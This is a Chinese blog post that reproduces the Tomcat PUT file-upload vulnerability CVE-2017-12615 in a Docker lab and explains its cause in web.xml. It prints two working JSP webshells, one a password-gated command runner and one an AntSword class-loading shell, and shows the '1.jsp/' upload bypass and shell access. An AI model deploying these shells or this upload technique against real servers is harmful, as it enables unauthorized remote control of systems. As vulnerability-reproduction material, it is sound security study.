当前位置: 博客首页>> 网络安全 >> 阅读正文

Tomcat任意写文件漏洞(CVE-2017-12615)复现

作者: 分类: 网络安全 发布于: 2024-06-17 23:14:41 浏览:1,278 评论(0)


影响版本

7.0.0-7.0.79、8.5.19

漏洞复现

使用docker拉取并运行tomcat漏洞版本镜像

1.搜索镜像

docker search CVE-2017-12615

image20240617085441638.png

2.拉取cved/cve-2017-12615

docker pull cved/cve-2017-12615

image20240617085633425.png

3.运行

docker run -d  -p 8080:8080 cved/cve-2017-12615

image20240617085907463.png

4.在浏览器输入ip+商品查看运行情况

image20240617090132617.png

复现漏洞

漏洞利用脚本

<%
# 从url上接口一个pwd参数, 用作密码,设置为123456
if("123456".equals(request.getParameter("pwd"))){
    # 从url上接口一个cmd参数,用作接口shell使用,并执行
    java.io.InputStream in =
    Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    # 声明变量来接收执行后输出的内容,并返回给浏览器
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    	out.println(new String(b));
    }
    out.print("</pre>");
}
%>

使用postman上传到tomcat服务器

image20240617091511140.png

返回201状态码表示创建文件成功

漏洞利用

image20240617091839791.png

漏洞原理

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:(使用PUT方式)

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>   # 此次设置成了false, 表示可写文件
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

文件路径在/usr/local/tomcat/conf/web.xml

不允许 put jsp 文件,1.jsp/ 加了 / 就不是 jsp 文件,系统保存文件 1.jsp/ -> 1.jsp

tomcat对jsp是做了一定处理的。前面的流程中 1.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。

使用蚁剑利用图形界面通过漏洞连接tomcat服务器

蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

蚁剑的安装

https://www.yuque.com/antswordproject/antsword/srruro

漏洞利用脚本

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用postman上传到tomcat服务器

上传的文件名使用yijian.jsp

image20240617144430784.png

使用蚁剑连接tomcat服务器

image20240617145157762.png

点击保存后进入列表

image20240617145333692.png

看到此页面就表示已进入到tomcat服务器了

image-20240617145356491

也可以右键点击进入虚拟终端

image20240617145625351.png

虚拟终端页

image20240617145650697.png

       

转载时请注明出处及相应链接。

本文永久链接: http://www.baigei.com/articles/tomcat-bug